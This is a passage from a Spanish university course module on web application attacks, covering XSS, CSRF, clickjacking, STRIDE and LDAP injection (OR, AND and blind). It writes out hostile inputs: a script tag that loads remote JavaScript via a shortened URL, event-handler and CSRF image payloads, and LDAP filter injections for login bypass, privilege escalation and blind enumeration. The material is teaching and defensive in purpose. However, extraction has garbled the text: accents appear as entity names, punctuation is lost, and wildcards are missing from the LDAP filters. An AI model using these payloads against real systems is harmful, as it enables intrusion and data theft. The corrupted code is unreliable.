fichero externo para cargar todo el coacutedigo Javascript necesario Para

reducir la longitud de la direccioacuten URL podemos usar paacuteginas del estilo

tinyurlcom o isgd Asiacute por ejemplo la URL httpwwwvictimacom

xssjs queda traducida a httpisgdowYT

CC-BY-NC-ND bull PID_00191662 19 Ataques a aplicaciones web

ltscript src=httpisgdowYTgtltscriptgt

bull Nopodemosintroducirlacadenascriptonosenospermiteintroducir

loscaracteresdemayorque(gt)ymenorque(lt) Aunque inicialmen-

te podriacutean parecer dos casos distintos al final pueden ser resueltos de la

misma manera Las etiquetas HTML tienen eventos que pueden lanzarse al

ocurrir ciertos sucesos OnLoad cuando se carga el elemento OnMouseO-

ver cuando se desplaza el cursor por encima OnClick cuando se hace clic

sobre eacutel etceacutetera Podemos usar estos elementos para introducir nuestro

coacutedigo

ltinput type=text name=buacutesqueda value=

OnFocus=alert(Hola Mundo) gt

bull Otroscasos Las teacutecnicas de XSS son tan variadas como podamos imaginar

Hay que tener en cuenta que no dependemos de la tecnologiacutea del servidor

sino de la del navegador que esteacuten usando los usuarios Existen teacutecnicas

para ejecutar coacutedigo Javascript que funcionan en Internet Explorer 7 y no

en Firefox 3 o incluso coacutedigo que se ejecuta en Safari 3 pero no lo hace en

la versioacuten 4 Es por ello por lo que no es factible automatizar esta teacutecnica

ni llegar a conocer todos los entresijos de la misma sino que el atacante

deberaacute utilizar su conocimiento y experiencia para lograr introducir el coacute-

digo XSS

12 Cross Site Request Forgery (CSRF)

Una vez entendida la base del XSS es el momento de estudiar algunas teacutecnicas

concretas derivadas de esta y lo que es posible hacer con ellas Una de ellas es

el cross site request forgery (CSRF)

El CSRF es una teacutecnica por la cual vamos a lograr que el usuario realice

acciones no deseadas en dominios remotos Se basa en la idea de apro-

vechar la persistencia de sesiones entre las pestantildeas de un navegador

Vamos a analizar con un ejemplo hipoteacutetico para entenderla

El usuario abre su navegador y entra en el sitio wwwsitio001com En este sitio iniciasesioacuten con su usuario y se le permite realizar una serie de acciones econoacutemicas tales comopujas o compras de objetos A su vez entra en la red social de moda wwwsitio002comdonde tiene sus fotos personales y se escribe mensajes con sus amigos Sin embargoresulta que en el sitio002com tiene un fallo de XSS permanente y un atacante lo va ausar para generar un ataque CSRF

Cuando nos ldquologeamosrdquo en un sitio determinado se nos asocia una cookie de sesioacuten quenos autentica uacutenicamente frente al servidor Esto evita tener que introducir nuestras cre-denciales en cada paacutegina que visitemos Sin embargo no podemos controlar cuaacutendo seenviacutean estas cookies Si nuestro navegador tiene almacenada una cookie asociada a un do-

CC-BY-NC-ND bull PID_00191662 20 Ataques a aplicaciones web

minio la enviaraacute en cada peticioacuten realizada a este dominio incluso si esta no se realizavoluntariamente

En este concepto se basa la teacutecnica de CSRF Vamos a obligar a un usuario a que realiceacciones no deseadas sobre un dominio desde otro Imaginemos que el sitio001comque recordemos permitiacutea transacciones econoacutemicas utiliza URL como la siguiente parala compra de objetos con la tarjeta de creacutedito almacenada

httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes

Si un usuario malintencionado lograse que un usuario autenticado en la paacutegina anteriorrealizase clic sobre el enlace obtendriacutea como resultado la compra del objeto en cuestioacutenEsto es podriacutea engantildear a la gente para comprar objetos que eacutel pusiera a la venta por unprecio desorbitado

Sin embargo un usuario avezado no hariacutea clic sobre un enlace desconocido y recibidopor una persona en la cual no confiacutea Es aquiacute donde entra en juego la teacutecnica de CSRFpermitiendo a un atacante ldquosimularrdquo clics veriacutedicos sobre una aplicacioacuten usando las cre-denciales (cookie de sesioacuten) de un usuario Esta accioacuten mediante XSS es sencilla

Como ya se ha puesto de manifiesto muacuteltiples veces a lo largo de este moacutedulo es nece-sario conocer muy a fondo el funcionamiento de los navegadores En este caso vamos ahacer uso de una condicioacuten que todos los navegadores comparten pues no haremos usode coacutedigo Javascript sino que utilizaremos coacutedigo HTML

Los navegadores web al encontrarse una etiqueta ltimggt siguen la direccioacuten del recursoespecificado en el paraacutemetro src Esto implica una conexioacuten para intentar descargar laimagen y esta puede realizarse entre dominios Si la imagen no se encuentra disponible ola respuesta que se recibe desde el servidor no es interpretable como imagen se mostraraacuteel icono de imagen rota

Un atacante puede aprovechar esta caracteriacutestica de los navegadores para obligar a losusuarios afectados a realizar acciones que no desean Crear una imagen que apunte a ladireccioacuten URL anteriormente indicada generariacutea una peticioacuten por parte de todos los na-vegadores que visitasen la paacutegina que contiene el coacutedigo HTML y que como veiacuteamos in-tentariacutea comprar un objeto en el dominio wwwsitio001com El siguiente coacutedigo HTMLse deberiacutea introducir por ejemplo en un comentario del sitio wwwsitio002com

ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes gt

Como se puede observar la teacutecnica es tan simple como efectiva Es posible hacer usode Javascript para que el ataque sea mucho maacutes discreto Las imaacutegenes disponen de unevento onerror que se lanza al no poder cargar la imagen Esto es parecido al atributoalt que se muestra cuando un navegador no soporta imaacutegenes Usando este evento ymodificando el recurso referenciado en src podemos cargar una imagen existente despueacutesde hacer la modificacioacuten maliciosa a traveacutes de CSRF

ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes onerror=thissrc=logojpgthisonerror=nullgt

Igualmente seriacutea posible desencadenar un ataque de forma maacutes discreta usan-

do CSS (cascading style sheets hojas de estilo para paacuteginas web) para evitar que

la imagen rota que se genera se le muestre al usuario

El ataque anteriormente descrito se ha podido llevar a cabo gracias a que la

paacutegina de sitio001com acepta peticiones GET aquellas donde los paraacutemetros

se remiten en la URL en lugar de requerir POST para los enviacuteos de informacioacuten

Una peticioacuten GET siempre seraacute maacutes faacutecil de manipular que una peticioacuten POST

Esto es asiacute porque para generar una peticioacuten POST debemos escribir coacutedigo

Javascript el cual puede entrar en conflicto con posibles filtros antiXSS que

existan en la aplicacioacuten

CC-BY-NC-ND bull PID_00191662 21 Ataques a aplicaciones web

Sin embargo y aunque establecieacutesemos como requisito indispensable que las

peticiones se realicen mediante POST esto no nos garantizariacutea la seguridad de

nuestra paacutegina ni de nuestros clientes

Para mejorar la seguridad frente a un posible ataque podemos hacer uso de las

cabeceras Referer Estas indican la paacutegina desde la que se ha llegado a otra Se

utilizan por ejemplo para conocer cuaacuteles son las buacutesquedas que permiten a

un usuario llegar a un sitio web desde un buscador Una medida de proteccioacuten

aunque se puede saltar seriacutea comprobar que las peticiones realizadas a nuestras

paacuteginas o al menos a aquellas que impliquen acciones sensibles se realicen

desde nuestro propio dominio

La uacutenica proteccioacuten real frente a ataques de CSRF es la de establecer una serie

de valores numeacutericos que se generen de manera uacutenica en cada peticioacuten Estos

pueden ser establecidos como un CAPTCHA que el usuario debe introducir al

realizar acciones criacuteticas o como un valor oculto en un campo hidden dentro

del coacutedigo de la paacutegina que comprobamos cuando el usuario nos devuelve la

peticioacuten Estas medidas aunque tediosas de programar nos permiten asegurar

los datos de nuestros usuarios

Como usuarios de aplicaciones posiblemente vulnerables a CSRF podemos

tomar una serie de precauciones que intenten evitar un ataque mediante esta

teacutecnica Las medidas son

bull Cerrar la sesioacuten inmediatamente tras el uso de una aplicacioacuten

bull No permitir que el navegador almacene las credenciales de ninguna paacutegi-

na ni que ninguacuten servidor mantenga nuestra sesioacuten recordada maacutes que

durante el tiempo de uso

bull Utilizar navegadores distintos para las aplicaciones de ocio y las criacuteticas

Con esto nos aseguramos la independencia de las cookies de sesioacuten entre

navegadores

13 Clickjacking

Las teacutecnicas de clickjacking son una amenaza reciente para los navega-

dores y sus usuarios Se basan en engantildear a los usuarios para que ha-

gan clic sobre elementos de un sitio web donde ellos nunca lo hariacutean

voluntariamente

Esto se consigue superponiendo dos paacuteginas

CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web

bull Una la principal con la paacutegina donde queremos que realmente los usua-

rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-

lizar una transferencia

bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-

tenidos que sirvan de aliciente para que el usuario realice los clics en las

zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear

en determinadas zonas

Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-

tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra

paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a

ellos mediante Javascript son de posible uso para engantildear al usuario

1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y

que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten

falta para llevar a cabo esta teacutecnica

Figura 6 Paacutegina a secuestrar

2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo

exactamente en el lugar donde deseamos que el usuario engantildeado realice el

clic Esto se hace asiacute para asegurar que independientemente del navegador el

clic se ejecute sin problemas

CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web

Figura 7 IFRAME sobre el sitio original

3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-

tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear

alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el

clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina

original

Figura 8 Colocacioacuten del IFRAME para engantildear al usuario

CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web

Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah

Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-

sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase

una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a

traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-

racioacuten de seguridad del plugin como se puede observar en la siguiente imagen

Figura 9 Configuracioacuten de seguridad de Flash Player

Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-

gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para

interactuar con el servidor Es por eso por lo que algunos navegadores aportan

directamente protecciones contra esta teacutecnica

bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus

usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-

sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario

sea engantildeado para hacer clic sobre un elemento previamente falseado

CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web

Figura 10 Clickjacking bloqueado

bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-

ca que permite a los programadores web incluir una cabecera x-frame-op-

tions que si figura establecida como deny impide que la paacutegina que la en-

viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de

establecer el valor como sameorigin para permitir que uacutenicamente pueda

ser cargada si la peticioacuten se realiza desde el mismo dominio

Figura 11 IFRAME bloqueado desde Internet Explorer 8

bull En el resto de navegadores como GoogleChromeOperaSafarieInter-

netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten

y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos

tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-

gador

CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web

2 Ataques de inyeccioacuten de coacutedigo

Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet

Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten

puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante

Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma

geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un

tipo de ataque

1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita

a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de

ataque se usan de forma muy extendida en Internet a varios niveles

a) Nivel de enlace

Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones

de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en

servidores DHCP ( dynamic host configuration protocol)

b) Nivel de Red

bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-

tringidas a determinadas direcciones IP Se hicieron famosas en el ataque

a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo

directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo

desde un servidor con una direccioacuten IP en concreto

bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-

plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En

el caso del nivel de red el objetivo es controlar el socket mediante la su-

plantacioacuten del nuacutemero de secuencia

c) Nivel de Aplicacioacuten

bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima

crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-

ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de

envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-

cha del cumpleantildeosrdquo son utilizados para lograr este objetivo

bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que

hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta

teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten

CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web

mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-

nicas de suplantacioacuten de DNS

bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-

lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-

tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o

un paraacutemetro por GET o por POST

bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de

usurpar la identidad de un usuario para realizar las acciones en su lugar

2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-

nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten

Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-

dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor

de la misma

3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-

rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-

rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial

relevancia en entornos de anaacutelisis forense o sistemas contractuales

4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que

implica que un usuario no permitido acceda a informacioacuten o documentacioacuten

sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten

protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-

nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica

de Proteccioacuten de Datos (LOPD)

5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-

llas que interrumpen la continuidad de los procesos de negocio o servicio de

una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en

los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (

botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-

nicacioacuten de las empresas son objetivos de este tipo de ataques

6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario

puede cambiar su nivel de privilegios dentro de un sistema para acceder a

informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten

de privilegios es una vulnerabilidad que suele ser el origen de brechas que

conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten

A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la

implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-

taacuteneamente en varias de las categoriacuteas anteriores

CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web

La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo

objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-

nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos

directamente en la base de datos

21 LDAP Injection

Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en

aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible

realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso

y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo

LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones

bull And LDAP Injection

bull OR LDAP Injection y

bull Blind LDAP Injection

Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM

de Microsoft y el motor OpenLDAP un producto Software Libre de amplia

implantacioacuten a nivel mundial

211 LDAP Injection con ADAM de Microsoft

Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-

mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un

cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-

presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados

En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM

Figura 12 Estructura del aacuterbol LDAP creado en ADAM

CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web

Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente

filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como

se puede ver en la figura 13

Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)

Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a

toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera

todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-

tener con una consulta siguiendo el formato definido en las RFC sobre ADAM

(|(cn=Impresora_1)(cn=Impresora))

CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web

Figura 14 Todas las impresoras

Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos

inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten

no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre

cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo

antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta

por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))

Figura 15 Inyeccioacuten sin resultados

CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web

Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten

no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha

Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes

datos Es decir solo devuelve los datos del primer filtro completo y el resto de

la cadena es ignorado

212 LDAP Injection con OpenLDAP

Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol

que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya

estructura es la siguiente

Figura 16 Estructura del aacuterbol LDAP en OpenLDAP

Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-

niendo un uacutenico objeto como resultado (uid=kurt)

CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web

Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado

Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido

en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-

dor OR y un filtro que incluyera todos los resultados como se puede ver en la

siguiente imagen (|(uid=kurt)(uid=))

Figura 18 Todos los usuarios

Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento

sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))

CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web

Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro

Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado

el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba

ADAM

213 Conclusiones

Tras realizar estas pruebas podemos extraer las siguientes conclusiones

bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje

contra ADAM u OpenLDAP es necesario que el filtro original es decir el

del programador tenga un operador OR o AND A partir de este punto se

pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten

o realizar ataques blind es decir a ciegas

bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente

anidada en un uacutenico par de pareacutentesis general o bien que el componente

permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha

del filtro

bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust

puede ser vista de dos formas diferentes una primera en la que seriacutea vista

como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-

mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro

mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-

tariacuteamos hablando de un comportamiento particular de algunos motores

LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con

un segundo filtro con un operador el operador OR innecesario

CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web

A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP

que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten

siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-

jection y Blind LDAP Injection

214 ldquoORrdquo LDAP Injection

En este entorno nos encontrariacuteamos con que el programador ha creado una

consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados

al usuario

(|(atributo1=valor1)(atributo2=valor2))

Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-

table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-

dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea

ldquoGroupsrdquo Al ejecutarla obtenemos

Figura 20 Consulta OR sin inyeccioacuten

Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-

driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-

nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-

dena void)(uid=))(|(uid=

CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web

Figura 21 Lista de usuarios obtenida tras la inyeccioacuten

Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|

(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-

ta de todos los usuarios del aacuterbol LDAP

Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en

este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente

tipo

(|(type=outputDevices)(type=printer))

Figura 22 Listado de impresoras y dispositivos de salida

Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea

modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo

CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web

(|(type=outputDevices)(type=printer)(uid=))(|(type=void))

Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los

usuarios como se puede ver en la figura 23

Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection

215 ldquoANDrdquo LDAP Injection

En el caso de inyecciones en consultas LDAP que lleven el operador AND el

atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido

pero se pueden utilizar las inyecciones para mediatizar los resultados y por

ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con

una consulta del siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Supongamos un entorno en el que se muestra la lista de todos los documentos

a los que un usuario con pocos privilegios tiene acceso mediante una consulta

que incluye el directorio de documentos en un paraacutemetro inyectable Es decir

la consulta original es

(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))

Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder

acceder a los documentos de nivel de seguridad alto

(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))

Para conseguir este resultado se habraacute inyectado en el nombre del directorio

la siguiente cadena

almacen)(nivel_seguridad=alto))(|(directorio=almacen

CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web

Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer

lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando

una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza

una consulta LDAP del tipo

(amp(uid=valor_de_user)(password=valor_de_password)

El atacante inyectando la cadena slisberger)(amp)) en el valor del USER

obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger

y por lo tanto conseguiriacutea el acceso a la aplicacioacuten

Figura 24 Acceso no autorizado mediante AND LDAP Injection

Y como se puede ver en la figura 25 el usuario consigue acceso al directorio

privado del usuario slisberger En este caso se ha utilizado el filtro (amp)

que es el equivalente al valor TRUE en los filtros LDAP

Figura 25 Directorio home del usuario

Como se puede ver en este caso el usuario ha accedido con privilegios de nivel

bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio

de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se

puede ver en la figura 26

CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web

Figura 26 Listado de documentos de nivel bajo

La consulta que se estaacute ejecutando es

(amp(directory=nombre_directorio)(level=low))

El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del

servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio

el siguiente comando Documents)(level=High) De esta forma el coman-

do que se ejecutariacutea seriacutea

(amp(directory=Documents)(level=High))(level=low))

Permitiendo al atacante acceder a todos los documentos Se ha producido una

elevacioacuten de privilegios

CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web

Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection

22 Blind LDAP Injection

Una de las evoluciones de las inyecciones de comandos son las acciones a

ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques

Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no

se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer

informacioacuten de un aacuterbol LDAP

El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que

cumple dos caracteriacutesticas

bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada

al aacuterbol LDAP

bull El uso de los resultados produce cambios en la respuesta http que el cliente

recibe

Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer

informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-

vando los cambios en las respuestas http

CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web

221 Blind LDAP Injection en un entorno ldquoANDrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND

tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el

atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo

que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos

aplicarle un valor que sea true es decir que siempre seleccione objetos para

tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que

tambieacuten nos garantice que sea true

Supongamos la siguiente consulta LDAP

(amp(objectClass=Impresoras)(impresoraTipo=Epson))

Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson

de tal manera que el programador si recibe alguacuten objeto simplemente pinta

en la paacutegina web un icono de una impresora Epson

Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el

icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y

como hemos dicho realizando una inyeccioacuten del siguiente tipo

(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante

Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado

en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-

mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP

222 Reconocimiento de clases de objetos de un aacuterbol LDAP

Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-

mos centrarnos en el segundo filtro realizando un recorrido de la siguiente

forma

(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web

De tal manera que todas aquellas inyecciones que devolvieran el icono de la

impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean

la existencia de ese tipo de objetos

Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-

beto de posibles valores utilizando una buacutesqueda con comodines para ello

realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de

la siguiente forma

(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran

dado una respuesta positiva

(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))

Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos

llegar a saber el nombre de todos los objetcClass de un sistema

Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)

Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido

para cualquier atributo que un objeto compartiera con el atributo fijo Una

vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-

